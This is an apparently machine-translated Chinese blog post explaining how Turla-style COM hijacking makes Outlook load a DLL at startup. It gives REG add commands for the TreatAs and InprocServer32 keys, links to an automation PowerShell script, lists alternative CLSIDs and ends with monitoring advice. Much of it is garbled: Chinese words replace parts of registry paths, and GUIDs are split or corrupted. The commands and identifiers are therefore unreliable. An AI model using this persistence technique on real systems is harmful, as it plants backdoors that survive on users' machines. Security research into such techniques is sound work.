发布于2022年11月8日3年前 0x00 前言 APT通过COM劫持组织Trula在Outlook启动时使用后门方法加载dll,其特点是只需要当前用户的权限。 本文将参考已发表的资料对这种方法进行测试,编写一个自动利用脚本,扩展使用,分享多个可用的劫持地点,并基于利用思路给出防御建议。 参考资料: https://www . welivesecurity . com/WP-content/uploads/2018/08/Eset-Turla-Outlook-back door . pdf 0x01 简介 本文将介绍以下内容: 使用方法 Powershell脚本实现详细信息 扩展使用 辩护建议 0x02 利用方法 当Outlook启动时,它将加载多个COM对象。我们可以通过修改注册表加载DLL来劫持Outlook的启动进程。 这里的utilization方法需要添加两个注册表,修改两个COM对象。 因为是修改HKCU的注册表,所以可以使用当前用户权限。 (1)COM对象1,用来加载第二个COM对象 添加以下注册表: HKCU \软件\类\ CLSID \ { 84 da 0a 92-25 E0-11 D3-b9f 7-00 c 04 f 4c 8 f 5d } \ TreatAs={ 49 cbb 1c 7-97 D1-485 a-9e C1-a 26065633066 } 通过命令行实现的命令如下: REG add HKCU \软件\类\ CLSID \ { 84 da 0a 92-25e 0-11 D3-b9f 7-00 c 04 f 4c 8 f 5d } \ treat as/t REG _ SZ/d“{ 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }”/f (2)COM对象2,用来加载DLL 添加以下注册表: HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }=邮件插件 HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32=[后门DLL的路径] HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32 \ threading model=Apartment 通过命令行实现的命令如下: REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }/t REG _ SZ/d '邮件插件'/f REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32/t REG _ SZ/d ' c:\ \ test \ \ calc . dll '/f REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32/v threading model/t REG _ SZ/d '公寓'/f Calc.dll可以在https://github.com/3gstudent/test/blob/master/calc.dll.使用以前的测试DLL 添加注册表后,启动Outlook,加载几次DLL,弹出多个计算器。这里,您可以使用互斥体来确保只弹出一个计算器。DLL的下载地址: https://github.com/3gstudent/test/blob/master/calcmutex.dll 对于64位Windows系统,如果安装了32位Office,需要将两个COM对象的注册表位置修改为HKCU \软件\类\ WOW6432Node \ CLSID \ 0x03 Powershell脚本实现细节 实现过程如下: 判断操作系统数字 判断办公软件的版本 如果64位系统安装32位Office,注册表的位置是HKCU \软件\类\ WOW6432Node \ CLSID \否则,注册表的位置是HKCU \软件\类\CLSID\ 添加相应的注册表 具体代码如下: 1. 判断操作系统位数 if ([IntPtr]:Size -eq 8) { ' 64位' } 其他 { ' 32位' } 2. 判断安装office软件版本 检查默认安装路径c:\ program files \ Microsoft office是否包含文件夹MEDIA。 如果是,就是64位Office,否则就是32位Office。 Powershell代码如下: 尝试 { 目录C:\ Program Files \ Microsoft Office \ MEDIA 写入主机“Microsoft Office: 64位” } 捕捉 { 写入主机“Microsoft Office: 32位” } 代码是开源的,地址如下: https://github . com/3g student/home-of-Powershell/blob/master/Invoke-outlook persistence . PS1 该代码实现了操作系统位数和Office软件版本的自动判断,并添加了相应的注册表项。 0x04 扩展用法 使用进程监视器监视Outlook启动进程,并确定是否有其他可用的COM对象。 经过测试,我在Outlook2013中找到了几个可用的方法。 COM对象1被下列任何一个替换,而COM对象2保持不变 可用的COM对象1: { b 056521 a-9b 10-425 e-B616-1 fcd 828 db 3 b 1 } { efef 7 FD b-0 ced-4fb 6-B3BB-3c 50d 39 f 4120 } { 93e 5752 e-B889-47 C5-8545-654 ee 2533 c64 } { 56 fdf 344-FD6D-11d 0-958 a-006097 c9a 090 } { 2163 eb1f-3fd 9-4212-A41F-81 d1f 933597 f } { a6a 2383 f-AD50-4d 52-8110-3508275 e77f 7 } { f 959 dbbb-3867-41 F2-8E5F-3b 8 be FAA 81 b 3 } { 88d 96 a 05-f192-11d 4-a65f-0040963251 E5 } { 807583 e 5-5146-11d 5-a 672-00 b 0d 022 e 945 } 529 a 9和6b- 6587-4f 23-ab9e-9c 7d 683和3C50} { 3ce 74 de 4-53 D3-4d 74-8b 83-431 b 3828 ba 53 } { a4 b 544 a1-438d-4b 41-9325-869523和2D6C7} { 33c 53 a 50-f 456-4884-b 049-85 FD 643欧洲经委会} { c 90250 F3-4d 7d-4991-9b 69-a5 C5 BC 1 C2 AE 6 } { 275 c 23 e 2-3747-11d 0-9 FEA-00 aa 003 f 864 } B2至619F} {埃德47410-B0 D6-11d 2-8c 3 B-00104 B2 a 6666 } { 1299 cf 18-C4 F5-4b6a-bb0f-2299 f 0398 e 27 }导弹 dcb 00 c01-570 f-4至9B-8D69-199FDBA5723B} { c 90250 F3-4d 7d-4991-9b 69-a5 C5 BC 1 C2 AE 6 } 0x05 防御建议 监控以下注册表项下的创建和修改操作: HKCU \软件\类\CLSID\ hkcu \ software \ classes \ wow 6432节点\ clsid \ 0x06 小结 本文介绍了通过用什么劫持实现在展望(展望)启动时加载动态链接库的方法,分享多个可用的劫持位置,结合利用思路给出防御建议 留下一个答案
创建帐户或登录后发表意见